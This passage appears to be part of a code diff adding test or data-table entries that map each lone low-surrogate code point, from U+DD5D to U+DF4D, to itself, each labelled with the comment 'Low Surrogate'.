+ ["\uDD5D", "\uDD5D"], /* Low Surrogate */
+ ["\uDD5E", "\uDD5E"], /* Low Surrogate */
+ ["\uDD5F", "\uDD5F"], /* Low Surrogate */
+ ["\uDD60", "\uDD60"], /* Low Surrogate */
+ ["\uDD61", "\uDD61"], /* Low Surrogate */
+ ["\uDD62", "\uDD62"], /* Low Surrogate */
+ ["\uDD63", "\uDD63"], /* Low Surrogate */
+ ["\uDD64", "\uDD64"], /* Low Surrogate */
+ ["\uDD65", "\uDD65"], /* Low Surrogate */
+ ["\uDD66", "\uDD66"], /* Low Surrogate */
+ ["\uDD67", "\uDD67"], /* Low Surrogate */
+ ["\uDD68", "\uDD68"], /* Low Surrogate */
+ ["\uDD69", "\uDD69"], /* Low Surrogate */
+ ["\uDD6A", "\uDD6A"], /* Low Surrogate */
+ ["\uDD6B", "\uDD6B"], /* Low Surrogate */
+ ["\uDD6C", "\uDD6C"], /* Low Surrogate */
+ ["\uDD6D", "\uDD6D"], /* Low Surrogate */
+ ["\uDD6E", "\uDD6E"], /* Low Surrogate */
+ ["\uDD6F", "\uDD6F"], /* Low Surrogate */
+ ["\uDD70", "\uDD70"], /* Low Surrogate */
+ ["\uDD71", "\uDD71"], /* Low Surrogate */
+ ["\uDD72", "\uDD72"], /* Low Surrogate */
+ ["\uDD73", "\uDD73"], /* Low Surrogate */
+ ["\uDD74", "\uDD74"], /* Low Surrogate */
+ ["\uDD75", "\uDD75"], /* Low Surrogate */
+ ["\uDD76", "\uDD76"], /* Low Surrogate */
+ ["\uDD77", "\uDD77"], /* Low Surrogate */
+ ["\uDD78", "\uDD78"], /* Low Surrogate */
+ ["\uDD79", "\uDD79"], /* Low Surrogate */
+ ["\uDD7A", "\uDD7A"], /* Low Surrogate */
+ ["\uDD7B", "\uDD7B"], /* Low Surrogate */
+ ["\uDD7C", "\uDD7C"], /* Low Surrogate */
+ ["\uDD7D", "\uDD7D"], /* Low Surrogate */
+ ["\uDD7E", "\uDD7E"], /* Low Surrogate */
+ ["\uDD7F", "\uDD7F"], /* Low Surrogate */
+ ["\uDD80", "\uDD80"], /* Low Surrogate */
+ ["\uDD81", "\uDD81"], /* Low Surrogate */
+ ["\uDD82", "\uDD82"], /* Low Surrogate */
+ ["\uDD83", "\uDD83"], /* Low Surrogate */
+ ["\uDD84", "\uDD84"], /* Low Surrogate */
+ ["\uDD85", "\uDD85"], /* Low Surrogate */
+ ["\uDD86", "\uDD86"], /* Low Surrogate */
+ ["\uDD87", "\uDD87"], /* Low Surrogate */
+ ["\uDD88", "\uDD88"], /* Low Surrogate */
+ ["\uDD89", "\uDD89"], /* Low Surrogate */
+ ["\uDD8A", "\uDD8A"], /* Low Surrogate */
+ ["\uDD8B", "\uDD8B"], /* Low Surrogate */
+ ["\uDD8C", "\uDD8C"], /* Low Surrogate */
+ ["\uDD8D", "\uDD8D"], /* Low Surrogate */
+ ["\uDD8E", "\uDD8E"], /* Low Surrogate */
+ ["\uDD8F", "\uDD8F"], /* Low Surrogate */
+ ["\uDD90", "\uDD90"], /* Low Surrogate */
+ ["\uDD91", "\uDD91"], /* Low Surrogate */
+ ["\uDD92", "\uDD92"], /* Low Surrogate */
+ ["\uDD93", "\uDD93"], /* Low Surrogate */
+ ["\uDD94", "\uDD94"], /* Low Surrogate */
+ ["\uDD95", "\uDD95"], /* Low Surrogate */
+ ["\uDD96", "\uDD96"], /* Low Surrogate */
+ ["\uDD97", "\uDD97"], /* Low Surrogate */
+ ["\uDD98", "\uDD98"], /* Low Surrogate */
+ ["\uDD99", "\uDD99"], /* Low Surrogate */
+ ["\uDD9A", "\uDD9A"], /* Low Surrogate */
+ ["\uDD9B", "\uDD9B"], /* Low Surrogate */
+ ["\uDD9C", "\uDD9C"], /* Low Surrogate */
+ ["\uDD9D", "\uDD9D"], /* Low Surrogate */
+ ["\uDD9E", "\uDD9E"], /* Low Surrogate */
+ ["\uDD9F", "\uDD9F"], /* Low Surrogate */
+ ["\uDDA0", "\uDDA0"], /* Low Surrogate */
+ ["\uDDA1", "\uDDA1"], /* Low Surrogate */
+ ["\uDDA2", "\uDDA2"], /* Low Surrogate */
+ ["\uDDA3", "\uDDA3"], /* Low Surrogate */
+ ["\uDDA4", "\uDDA4"], /* Low Surrogate */
+ ["\uDDA5", "\uDDA5"], /* Low Surrogate */
+ ["\uDDA6", "\uDDA6"], /* Low Surrogate */
+ ["\uDDA7", "\uDDA7"], /* Low Surrogate */
+ ["\uDDA8", "\uDDA8"], /* Low Surrogate */
+ ["\uDDA9", "\uDDA9"], /* Low Surrogate */
+ ["\uDDAA", "\uDDAA"], /* Low Surrogate */
+ ["\uDDAB", "\uDDAB"], /* Low Surrogate */
+ ["\uDDAC", "\uDDAC"], /* Low Surrogate */
+ ["\uDDAD", "\uDDAD"], /* Low Surrogate */
+ ["\uDDAE", "\uDDAE"], /* Low Surrogate */
+ ["\uDDAF", "\uDDAF"], /* Low Surrogate */
+ ["\uDDB0", "\uDDB0"], /* Low Surrogate */
+ ["\uDDB1", "\uDDB1"], /* Low Surrogate */
+ ["\uDDB2", "\uDDB2"], /* Low Surrogate */
+ ["\uDDB3", "\uDDB3"], /* Low Surrogate */
+ ["\uDDB4", "\uDDB4"], /* Low Surrogate */
+ ["\uDDB5", "\uDDB5"], /* Low Surrogate */
+ ["\uDDB6", "\uDDB6"], /* Low Surrogate */
+ ["\uDDB7", "\uDDB7"], /* Low Surrogate */
+ ["\uDDB8", "\uDDB8"], /* Low Surrogate */
+ ["\uDDB9", "\uDDB9"], /* Low Surrogate */
+ ["\uDDBA", "\uDDBA"], /* Low Surrogate */
+ ["\uDDBB", "\uDDBB"], /* Low Surrogate */
+ ["\uDDBC", "\uDDBC"], /* Low Surrogate */
+ ["\uDDBD", "\uDDBD"], /* Low Surrogate */
+ ["\uDDBE", "\uDDBE"], /* Low Surrogate */
+ ["\uDDBF", "\uDDBF"], /* Low Surrogate */
+ ["\uDDC0", "\uDDC0"], /* Low Surrogate */
+ ["\uDDC1", "\uDDC1"], /* Low Surrogate */
+ ["\uDDC2", "\uDDC2"], /* Low Surrogate */
+ ["\uDDC3", "\uDDC3"], /* Low Surrogate */
+ ["\uDDC4", "\uDDC4"], /* Low Surrogate */
+ ["\uDDC5", "\uDDC5"], /* Low Surrogate */
+ ["\uDDC6", "\uDDC6"], /* Low Surrogate */
+ ["\uDDC7", "\uDDC7"], /* Low Surrogate */
+ ["\uDDC8", "\uDDC8"], /* Low Surrogate */
+ ["\uDDC9", "\uDDC9"], /* Low Surrogate */
+ ["\uDDCA", "\uDDCA"], /* Low Surrogate */
+ ["\uDDCB", "\uDDCB"], /* Low Surrogate */
+ ["\uDDCC", "\uDDCC"], /* Low Surrogate */
+ ["\uDDCD", "\uDDCD"], /* Low Surrogate */
+ ["\uDDCE", "\uDDCE"], /* Low Surrogate */
+ ["\uDDCF", "\uDDCF"], /* Low Surrogate */
+ ["\uDDD0", "\uDDD0"], /* Low Surrogate */
+ ["\uDDD1", "\uDDD1"], /* Low Surrogate */
+ ["\uDDD2", "\uDDD2"], /* Low Surrogate */
+ ["\uDDD3", "\uDDD3"], /* Low Surrogate */
+ ["\uDDD4", "\uDDD4"], /* Low Surrogate */
+ ["\uDDD5", "\uDDD5"], /* Low Surrogate */
+ ["\uDDD6", "\uDDD6"], /* Low Surrogate */
+ ["\uDDD7", "\uDDD7"], /* Low Surrogate */
+ ["\uDDD8", "\uDDD8"], /* Low Surrogate */
+ ["\uDDD9", "\uDDD9"], /* Low Surrogate */
+ ["\uDDDA", "\uDDDA"], /* Low Surrogate */
+ ["\uDDDB", "\uDDDB"], /* Low Surrogate */
+ ["\uDDDC", "\uDDDC"], /* Low Surrogate */
+ ["\uDDDD", "\uDDDD"], /* Low Surrogate */
+ ["\uDDDE", "\uDDDE"], /* Low Surrogate */
+ ["\uDDDF", "\uDDDF"], /* Low Surrogate */
+ ["\uDDE0", "\uDDE0"], /* Low Surrogate */
+ ["\uDDE1", "\uDDE1"], /* Low Surrogate */
+ ["\uDDE2", "\uDDE2"], /* Low Surrogate */
+ ["\uDDE3", "\uDDE3"], /* Low Surrogate */
+ ["\uDDE4", "\uDDE4"], /* Low Surrogate */
+ ["\uDDE5", "\uDDE5"], /* Low Surrogate */
+ ["\uDDE6", "\uDDE6"], /* Low Surrogate */
+ ["\uDDE7", "\uDDE7"], /* Low Surrogate */
+ ["\uDDE8", "\uDDE8"], /* Low Surrogate */
+ ["\uDDE9", "\uDDE9"], /* Low Surrogate */
+ ["\uDDEA", "\uDDEA"], /* Low Surrogate */
+ ["\uDDEB", "\uDDEB"], /* Low Surrogate */
+ ["\uDDEC", "\uDDEC"], /* Low Surrogate */
+ ["\uDDED", "\uDDED"], /* Low Surrogate */
+ ["\uDDEE", "\uDDEE"], /* Low Surrogate */
+ ["\uDDEF", "\uDDEF"], /* Low Surrogate */
+ ["\uDDF0", "\uDDF0"], /* Low Surrogate */
+ ["\uDDF1", "\uDDF1"], /* Low Surrogate */
+ ["\uDDF2", "\uDDF2"], /* Low Surrogate */
+ ["\uDDF3", "\uDDF3"], /* Low Surrogate */
+ ["\uDDF4", "\uDDF4"], /* Low Surrogate */
+ ["\uDDF5", "\uDDF5"], /* Low Surrogate */
+ ["\uDDF6", "\uDDF6"], /* Low Surrogate */
+ ["\uDDF7", "\uDDF7"], /* Low Surrogate */
+ ["\uDDF8", "\uDDF8"], /* Low Surrogate */
+ ["\uDDF9", "\uDDF9"], /* Low Surrogate */
+ ["\uDDFA", "\uDDFA"], /* Low Surrogate */
+ ["\uDDFB", "\uDDFB"], /* Low Surrogate */
+ ["\uDDFC", "\uDDFC"], /* Low Surrogate */
+ ["\uDDFD", "\uDDFD"], /* Low Surrogate */
+ ["\uDDFE", "\uDDFE"], /* Low Surrogate */
+ ["\uDDFF", "\uDDFF"], /* Low Surrogate */
+ ["\uDE00", "\uDE00"], /* Low Surrogate */
+ ["\uDE01", "\uDE01"], /* Low Surrogate */
+ ["\uDE02", "\uDE02"], /* Low Surrogate */
+ ["\uDE03", "\uDE03"], /* Low Surrogate */
+ ["\uDE04", "\uDE04"], /* Low Surrogate */
+ ["\uDE05", "\uDE05"], /* Low Surrogate */
+ ["\uDE06", "\uDE06"], /* Low Surrogate */
+ ["\uDE07", "\uDE07"], /* Low Surrogate */
+ ["\uDE08", "\uDE08"], /* Low Surrogate */
+ ["\uDE09", "\uDE09"], /* Low Surrogate */
+ ["\uDE0A", "\uDE0A"], /* Low Surrogate */
+ ["\uDE0B", "\uDE0B"], /* Low Surrogate */
+ ["\uDE0C", "\uDE0C"], /* Low Surrogate */
+ ["\uDE0D", "\uDE0D"], /* Low Surrogate */
+ ["\uDE0E", "\uDE0E"], /* Low Surrogate */
+ ["\uDE0F", "\uDE0F"], /* Low Surrogate */
+ ["\uDE10", "\uDE10"], /* Low Surrogate */
+ ["\uDE11", "\uDE11"], /* Low Surrogate */
+ ["\uDE12", "\uDE12"], /* Low Surrogate */
+ ["\uDE13", "\uDE13"], /* Low Surrogate */
+ ["\uDE14", "\uDE14"], /* Low Surrogate */
+ ["\uDE15", "\uDE15"], /* Low Surrogate */
+ ["\uDE16", "\uDE16"], /* Low Surrogate */
+ ["\uDE17", "\uDE17"], /* Low Surrogate */
+ ["\uDE18", "\uDE18"], /* Low Surrogate */
+ ["\uDE19", "\uDE19"], /* Low Surrogate */
+ ["\uDE1A", "\uDE1A"], /* Low Surrogate */
+ ["\uDE1B", "\uDE1B"], /* Low Surrogate */
+ ["\uDE1C", "\uDE1C"], /* Low Surrogate */
+ ["\uDE1D", "\uDE1D"], /* Low Surrogate */
+ ["\uDE1E", "\uDE1E"], /* Low Surrogate */
+ ["\uDE1F", "\uDE1F"], /* Low Surrogate */
+ ["\uDE20", "\uDE20"], /* Low Surrogate */
+ ["\uDE21", "\uDE21"], /* Low Surrogate */
+ ["\uDE22", "\uDE22"], /* Low Surrogate */
+ ["\uDE23", "\uDE23"], /* Low Surrogate */
+ ["\uDE24", "\uDE24"], /* Low Surrogate */
+ ["\uDE25", "\uDE25"], /* Low Surrogate */
+ ["\uDE26", "\uDE26"], /* Low Surrogate */
+ ["\uDE27", "\uDE27"], /* Low Surrogate */
+ ["\uDE28", "\uDE28"], /* Low Surrogate */
+ ["\uDE29", "\uDE29"], /* Low Surrogate */
+ ["\uDE2A", "\uDE2A"], /* Low Surrogate */
+ ["\uDE2B", "\uDE2B"], /* Low Surrogate */
+ ["\uDE2C", "\uDE2C"], /* Low Surrogate */
+ ["\uDE2D", "\uDE2D"], /* Low Surrogate */
+ ["\uDE2E", "\uDE2E"], /* Low Surrogate */
+ ["\uDE2F", "\uDE2F"], /* Low Surrogate */
+ ["\uDE30", "\uDE30"], /* Low Surrogate */
+ ["\uDE31", "\uDE31"], /* Low Surrogate */
+ ["\uDE32", "\uDE32"], /* Low Surrogate */
+ ["\uDE33", "\uDE33"], /* Low Surrogate */
+ ["\uDE34", "\uDE34"], /* Low Surrogate */
+ ["\uDE35", "\uDE35"], /* Low Surrogate */
+ ["\uDE36", "\uDE36"], /* Low Surrogate */
+ ["\uDE37", "\uDE37"], /* Low Surrogate */
+ ["\uDE38", "\uDE38"], /* Low Surrogate */
+ ["\uDE39", "\uDE39"], /* Low Surrogate */
+ ["\uDE3A", "\uDE3A"], /* Low Surrogate */
+ ["\uDE3B", "\uDE3B"], /* Low Surrogate */
+ ["\uDE3C", "\uDE3C"], /* Low Surrogate */
+ ["\uDE3D", "\uDE3D"], /* Low Surrogate */
+ ["\uDE3E", "\uDE3E"], /* Low Surrogate */
+ ["\uDE3F", "\uDE3F"], /* Low Surrogate */
+ ["\uDE40", "\uDE40"], /* Low Surrogate */
+ ["\uDE41", "\uDE41"], /* Low Surrogate */
+ ["\uDE42", "\uDE42"], /* Low Surrogate */
+ ["\uDE43", "\uDE43"], /* Low Surrogate */
+ ["\uDE44", "\uDE44"], /* Low Surrogate */
+ ["\uDE45", "\uDE45"], /* Low Surrogate */
+ ["\uDE46", "\uDE46"], /* Low Surrogate */
+ ["\uDE47", "\uDE47"], /* Low Surrogate */
+ ["\uDE48", "\uDE48"], /* Low Surrogate */
+ ["\uDE49", "\uDE49"], /* Low Surrogate */
+ ["\uDE4A", "\uDE4A"], /* Low Surrogate */
+ ["\uDE4B", "\uDE4B"], /* Low Surrogate */
+ ["\uDE4C", "\uDE4C"], /* Low Surrogate */
+ ["\uDE4D", "\uDE4D"], /* Low Surrogate */
+ ["\uDE4E", "\uDE4E"], /* Low Surrogate */
+ ["\uDE4F", "\uDE4F"], /* Low Surrogate */
+ ["\uDE50", "\uDE50"], /* Low Surrogate */
+ ["\uDE51", "\uDE51"], /* Low Surrogate */
+ ["\uDE52", "\uDE52"], /* Low Surrogate */
+ ["\uDE53", "\uDE53"], /* Low Surrogate */
+ ["\uDE54", "\uDE54"], /* Low Surrogate */
+ ["\uDE55", "\uDE55"], /* Low Surrogate */
+ ["\uDE56", "\uDE56"], /* Low Surrogate */
+ ["\uDE57", "\uDE57"], /* Low Surrogate */
+ ["\uDE58", "\uDE58"], /* Low Surrogate */
+ ["\uDE59", "\uDE59"], /* Low Surrogate */
+ ["\uDE5A", "\uDE5A"], /* Low Surrogate */
+ ["\uDE5B", "\uDE5B"], /* Low Surrogate */
+ ["\uDE5C", "\uDE5C"], /* Low Surrogate */
+ ["\uDE5D", "\uDE5D"], /* Low Surrogate */
+ ["\uDE5E", "\uDE5E"], /* Low Surrogate */
+ ["\uDE5F", "\uDE5F"], /* Low Surrogate */
+ ["\uDE60", "\uDE60"], /* Low Surrogate */
+ ["\uDE61", "\uDE61"], /* Low Surrogate */
+ ["\uDE62", "\uDE62"], /* Low Surrogate */
+ ["\uDE63", "\uDE63"], /* Low Surrogate */
+ ["\uDE64", "\uDE64"], /* Low Surrogate */
+ ["\uDE65", "\uDE65"], /* Low Surrogate */
+ ["\uDE66", "\uDE66"], /* Low Surrogate */
+ ["\uDE67", "\uDE67"], /* Low Surrogate */
+ ["\uDE68", "\uDE68"], /* Low Surrogate */
+ ["\uDE69", "\uDE69"], /* Low Surrogate */
+ ["\uDE6A", "\uDE6A"], /* Low Surrogate */
+ ["\uDE6B", "\uDE6B"], /* Low Surrogate */
+ ["\uDE6C", "\uDE6C"], /* Low Surrogate */
+ ["\uDE6D", "\uDE6D"], /* Low Surrogate */
+ ["\uDE6E", "\uDE6E"], /* Low Surrogate */
+ ["\uDE6F", "\uDE6F"], /* Low Surrogate */
+ ["\uDE70", "\uDE70"], /* Low Surrogate */
+ ["\uDE71", "\uDE71"], /* Low Surrogate */
+ ["\uDE72", "\uDE72"], /* Low Surrogate */
+ ["\uDE73", "\uDE73"], /* Low Surrogate */
+ ["\uDE74", "\uDE74"], /* Low Surrogate */
+ ["\uDE75", "\uDE75"], /* Low Surrogate */
+ ["\uDE76", "\uDE76"], /* Low Surrogate */
+ ["\uDE77", "\uDE77"], /* Low Surrogate */
+ ["\uDE78", "\uDE78"], /* Low Surrogate */
+ ["\uDE79", "\uDE79"], /* Low Surrogate */
+ ["\uDE7A", "\uDE7A"], /* Low Surrogate */
+ ["\uDE7B", "\uDE7B"], /* Low Surrogate */
+ ["\uDE7C", "\uDE7C"], /* Low Surrogate */
+ ["\uDE7D", "\uDE7D"], /* Low Surrogate */
+ ["\uDE7E", "\uDE7E"], /* Low Surrogate */
+ ["\uDE7F", "\uDE7F"], /* Low Surrogate */
+ ["\uDE80", "\uDE80"], /* Low Surrogate */
+ ["\uDE81", "\uDE81"], /* Low Surrogate */
+ ["\uDE82", "\uDE82"], /* Low Surrogate */
+ ["\uDE83", "\uDE83"], /* Low Surrogate */
+ ["\uDE84", "\uDE84"], /* Low Surrogate */
+ ["\uDE85", "\uDE85"], /* Low Surrogate */
+ ["\uDE86", "\uDE86"], /* Low Surrogate */
+ ["\uDE87", "\uDE87"], /* Low Surrogate */
+ ["\uDE88", "\uDE88"], /* Low Surrogate */
+ ["\uDE89", "\uDE89"], /* Low Surrogate */
+ ["\uDE8A", "\uDE8A"], /* Low Surrogate */
+ ["\uDE8B", "\uDE8B"], /* Low Surrogate */
+ ["\uDE8C", "\uDE8C"], /* Low Surrogate */
+ ["\uDE8D", "\uDE8D"], /* Low Surrogate */
+ ["\uDE8E", "\uDE8E"], /* Low Surrogate */
+ ["\uDE8F", "\uDE8F"], /* Low Surrogate */
+ ["\uDE90", "\uDE90"], /* Low Surrogate */
+ ["\uDE91", "\uDE91"], /* Low Surrogate */
+ ["\uDE92", "\uDE92"], /* Low Surrogate */
+ ["\uDE93", "\uDE93"], /* Low Surrogate */
+ ["\uDE94", "\uDE94"], /* Low Surrogate */
+ ["\uDE95", "\uDE95"], /* Low Surrogate */
+ ["\uDE96", "\uDE96"], /* Low Surrogate */
+ ["\uDE97", "\uDE97"], /* Low Surrogate */
+ ["\uDE98", "\uDE98"], /* Low Surrogate */
+ ["\uDE99", "\uDE99"], /* Low Surrogate */
+ ["\uDE9A", "\uDE9A"], /* Low Surrogate */
+ ["\uDE9B", "\uDE9B"], /* Low Surrogate */
+ ["\uDE9C", "\uDE9C"], /* Low Surrogate */
+ ["\uDE9D", "\uDE9D"], /* Low Surrogate */
+ ["\uDE9E", "\uDE9E"], /* Low Surrogate */
+ ["\uDE9F", "\uDE9F"], /* Low Surrogate */
+ ["\uDEA0", "\uDEA0"], /* Low Surrogate */
+ ["\uDEA1", "\uDEA1"], /* Low Surrogate */
+ ["\uDEA2", "\uDEA2"], /* Low Surrogate */
+ ["\uDEA3", "\uDEA3"], /* Low Surrogate */
+ ["\uDEA4", "\uDEA4"], /* Low Surrogate */
+ ["\uDEA5", "\uDEA5"], /* Low Surrogate */
+ ["\uDEA6", "\uDEA6"], /* Low Surrogate */
+ ["\uDEA7", "\uDEA7"], /* Low Surrogate */
+ ["\uDEA8", "\uDEA8"], /* Low Surrogate */
+ ["\uDEA9", "\uDEA9"], /* Low Surrogate */
+ ["\uDEAA", "\uDEAA"], /* Low Surrogate */
+ ["\uDEAB", "\uDEAB"], /* Low Surrogate */
+ ["\uDEAC", "\uDEAC"], /* Low Surrogate */
+ ["\uDEAD", "\uDEAD"], /* Low Surrogate */
+ ["\uDEAE", "\uDEAE"], /* Low Surrogate */
+ ["\uDEAF", "\uDEAF"], /* Low Surrogate */
+ ["\uDEB0", "\uDEB0"], /* Low Surrogate */
+ ["\uDEB1", "\uDEB1"], /* Low Surrogate */
+ ["\uDEB2", "\uDEB2"], /* Low Surrogate */
+ ["\uDEB3", "\uDEB3"], /* Low Surrogate */
+ ["\uDEB4", "\uDEB4"], /* Low Surrogate */
+ ["\uDEB5", "\uDEB5"], /* Low Surrogate */
+ ["\uDEB6", "\uDEB6"], /* Low Surrogate */
+ ["\uDEB7", "\uDEB7"], /* Low Surrogate */
+ ["\uDEB8", "\uDEB8"], /* Low Surrogate */
+ ["\uDEB9", "\uDEB9"], /* Low Surrogate */
+ ["\uDEBA", "\uDEBA"], /* Low Surrogate */
+ ["\uDEBB", "\uDEBB"], /* Low Surrogate */
+ ["\uDEBC", "\uDEBC"], /* Low Surrogate */
+ ["\uDEBD", "\uDEBD"], /* Low Surrogate */
+ ["\uDEBE", "\uDEBE"], /* Low Surrogate */
+ ["\uDEBF", "\uDEBF"], /* Low Surrogate */
+ ["\uDEC0", "\uDEC0"], /* Low Surrogate */
+ ["\uDEC1", "\uDEC1"], /* Low Surrogate */
+ ["\uDEC2", "\uDEC2"], /* Low Surrogate */
+ ["\uDEC3", "\uDEC3"], /* Low Surrogate */
+ ["\uDEC4", "\uDEC4"], /* Low Surrogate */
+ ["\uDEC5", "\uDEC5"], /* Low Surrogate */
+ ["\uDEC6", "\uDEC6"], /* Low Surrogate */
+ ["\uDEC7", "\uDEC7"], /* Low Surrogate */
+ ["\uDEC8", "\uDEC8"], /* Low Surrogate */
+ ["\uDEC9", "\uDEC9"], /* Low Surrogate */
+ ["\uDECA", "\uDECA"], /* Low Surrogate */
+ ["\uDECB", "\uDECB"], /* Low Surrogate */
+ ["\uDECC", "\uDECC"], /* Low Surrogate */
+ ["\uDECD", "\uDECD"], /* Low Surrogate */
+ ["\uDECE", "\uDECE"], /* Low Surrogate */
+ ["\uDECF", "\uDECF"], /* Low Surrogate */
+ ["\uDED0", "\uDED0"], /* Low Surrogate */
+ ["\uDED1", "\uDED1"], /* Low Surrogate */
+ ["\uDED2", "\uDED2"], /* Low Surrogate */
+ ["\uDED3", "\uDED3"], /* Low Surrogate */
+ ["\uDED4", "\uDED4"], /* Low Surrogate */
+ ["\uDED5", "\uDED5"], /* Low Surrogate */
+ ["\uDED6", "\uDED6"], /* Low Surrogate */
+ ["\uDED7", "\uDED7"], /* Low Surrogate */
+ ["\uDED8", "\uDED8"], /* Low Surrogate */
+ ["\uDED9", "\uDED9"], /* Low Surrogate */
+ ["\uDEDA", "\uDEDA"], /* Low Surrogate */
+ ["\uDEDB", "\uDEDB"], /* Low Surrogate */
+ ["\uDEDC", "\uDEDC"], /* Low Surrogate */
+ ["\uDEDD", "\uDEDD"], /* Low Surrogate */
+ ["\uDEDE", "\uDEDE"], /* Low Surrogate */
+ ["\uDEDF", "\uDEDF"], /* Low Surrogate */
+ ["\uDEE0", "\uDEE0"], /* Low Surrogate */
+ ["\uDEE1", "\uDEE1"], /* Low Surrogate */
+ ["\uDEE2", "\uDEE2"], /* Low Surrogate */
+ ["\uDEE3", "\uDEE3"], /* Low Surrogate */
+ ["\uDEE4", "\uDEE4"], /* Low Surrogate */
+ ["\uDEE5", "\uDEE5"], /* Low Surrogate */
+ ["\uDEE6", "\uDEE6"], /* Low Surrogate */
+ ["\uDEE7", "\uDEE7"], /* Low Surrogate */
+ ["\uDEE8", "\uDEE8"], /* Low Surrogate */
+ ["\uDEE9", "\uDEE9"], /* Low Surrogate */
+ ["\uDEEA", "\uDEEA"], /* Low Surrogate */
+ ["\uDEEB", "\uDEEB"], /* Low Surrogate */
+ ["\uDEEC", "\uDEEC"], /* Low Surrogate */
+ ["\uDEED", "\uDEED"], /* Low Surrogate */
+ ["\uDEEE", "\uDEEE"], /* Low Surrogate */
+ ["\uDEEF", "\uDEEF"], /* Low Surrogate */
+ ["\uDEF0", "\uDEF0"], /* Low Surrogate */
+ ["\uDEF1", "\uDEF1"], /* Low Surrogate */
+ ["\uDEF2", "\uDEF2"], /* Low Surrogate */
+ ["\uDEF3", "\uDEF3"], /* Low Surrogate */
+ ["\uDEF4", "\uDEF4"], /* Low Surrogate */
+ ["\uDEF5", "\uDEF5"], /* Low Surrogate */
+ ["\uDEF6", "\uDEF6"], /* Low Surrogate */
+ ["\uDEF7", "\uDEF7"], /* Low Surrogate */
+ ["\uDEF8", "\uDEF8"], /* Low Surrogate */
+ ["\uDEF9", "\uDEF9"], /* Low Surrogate */
+ ["\uDEFA", "\uDEFA"], /* Low Surrogate */
+ ["\uDEFB", "\uDEFB"], /* Low Surrogate */
+ ["\uDEFC", "\uDEFC"], /* Low Surrogate */
+ ["\uDEFD", "\uDEFD"], /* Low Surrogate */
+ ["\uDEFE", "\uDEFE"], /* Low Surrogate */
+ ["\uDEFF", "\uDEFF"], /* Low Surrogate */
+ ["\uDF00", "\uDF00"], /* Low Surrogate */
+ ["\uDF01", "\uDF01"], /* Low Surrogate */
+ ["\uDF02", "\uDF02"], /* Low Surrogate */
+ ["\uDF03", "\uDF03"], /* Low Surrogate */
+ ["\uDF04", "\uDF04"], /* Low Surrogate */
+ ["\uDF05", "\uDF05"], /* Low Surrogate */
+ ["\uDF06", "\uDF06"], /* Low Surrogate */
+ ["\uDF07", "\uDF07"], /* Low Surrogate */
+ ["\uDF08", "\uDF08"], /* Low Surrogate */
+ ["\uDF09", "\uDF09"], /* Low Surrogate */
+ ["\uDF0A", "\uDF0A"], /* Low Surrogate */
+ ["\uDF0B", "\uDF0B"], /* Low Surrogate */
+ ["\uDF0C", "\uDF0C"], /* Low Surrogate */
+ ["\uDF0D", "\uDF0D"], /* Low Surrogate */
+ ["\uDF0E", "\uDF0E"], /* Low Surrogate */
+ ["\uDF0F", "\uDF0F"], /* Low Surrogate */
+ ["\uDF10", "\uDF10"], /* Low Surrogate */
+ ["\uDF11", "\uDF11"], /* Low Surrogate */
+ ["\uDF12", "\uDF12"], /* Low Surrogate */
+ ["\uDF13", "\uDF13"], /* Low Surrogate */
+ ["\uDF14", "\uDF14"], /* Low Surrogate */
+ ["\uDF15", "\uDF15"], /* Low Surrogate */
+ ["\uDF16", "\uDF16"], /* Low Surrogate */
+ ["\uDF17", "\uDF17"], /* Low Surrogate */
+ ["\uDF18", "\uDF18"], /* Low Surrogate */
+ ["\uDF19", "\uDF19"], /* Low Surrogate */
+ ["\uDF1A", "\uDF1A"], /* Low Surrogate */
+ ["\uDF1B", "\uDF1B"], /* Low Surrogate */
+ ["\uDF1C", "\uDF1C"], /* Low Surrogate */
+ ["\uDF1D", "\uDF1D"], /* Low Surrogate */
+ ["\uDF1E", "\uDF1E"], /* Low Surrogate */
+ ["\uDF1F", "\uDF1F"], /* Low Surrogate */
+ ["\uDF20", "\uDF20"], /* Low Surrogate */
+ ["\uDF21", "\uDF21"], /* Low Surrogate */
+ ["\uDF22", "\uDF22"], /* Low Surrogate */
+ ["\uDF23", "\uDF23"], /* Low Surrogate */
+ ["\uDF24", "\uDF24"], /* Low Surrogate */
+ ["\uDF25", "\uDF25"], /* Low Surrogate */
+ ["\uDF26", "\uDF26"], /* Low Surrogate */
+ ["\uDF27", "\uDF27"], /* Low Surrogate */
+ ["\uDF28", "\uDF28"], /* Low Surrogate */
+ ["\uDF29", "\uDF29"], /* Low Surrogate */
+ ["\uDF2A", "\uDF2A"], /* Low Surrogate */
+ ["\uDF2B", "\uDF2B"], /* Low Surrogate */
+ ["\uDF2C", "\uDF2C"], /* Low Surrogate */
+ ["\uDF2D", "\uDF2D"], /* Low Surrogate */
+ ["\uDF2E", "\uDF2E"], /* Low Surrogate */
+ ["\uDF2F", "\uDF2F"], /* Low Surrogate */
+ ["\uDF30", "\uDF30"], /* Low Surrogate */
+ ["\uDF31", "\uDF31"], /* Low Surrogate */
+ ["\uDF32", "\uDF32"], /* Low Surrogate */
+ ["\uDF33", "\uDF33"], /* Low Surrogate */
+ ["\uDF34", "\uDF34"], /* Low Surrogate */
+ ["\uDF35", "\uDF35"], /* Low Surrogate */
+ ["\uDF36", "\uDF36"], /* Low Surrogate */
+ ["\uDF37", "\uDF37"], /* Low Surrogate */
+ ["\uDF38", "\uDF38"], /* Low Surrogate */
+ ["\uDF39", "\uDF39"], /* Low Surrogate */
+ ["\uDF3A", "\uDF3A"], /* Low Surrogate */
+ ["\uDF3B", "\uDF3B"], /* Low Surrogate */
+ ["\uDF3C", "\uDF3C"], /* Low Surrogate */
+ ["\uDF3D", "\uDF3D"], /* Low Surrogate */
+ ["\uDF3E", "\uDF3E"], /* Low Surrogate */
+ ["\uDF3F", "\uDF3F"], /* Low Surrogate */
+ ["\uDF40", "\uDF40"], /* Low Surrogate */
+ ["\uDF41", "\uDF41"], /* Low Surrogate */
+ ["\uDF42", "\uDF42"], /* Low Surrogate */
+ ["\uDF43", "\uDF43"], /* Low Surrogate */
+ ["\uDF44", "\uDF44"], /* Low Surrogate */
+ ["\uDF45", "\uDF45"], /* Low Surrogate */
+ ["\uDF46", "\uDF46"], /* Low Surrogate */
+ ["\uDF47", "\uDF47"], /* Low Surrogate */
+ ["\uDF48", "\uDF48"], /* Low Surrogate */
+ ["\uDF49", "\uDF49"], /* Low Surrogate */
+ ["\uDF4A", "\uDF4A"], /* Low Surrogate */
+ ["\uDF4B", "\uDF4B"], /* Low Surrogate */
+ ["\uDF4C", "\uDF4C"], /* Low Surrogate */
+ ["\uDF4D", "\uDF4D"], /* Low Surrogate */
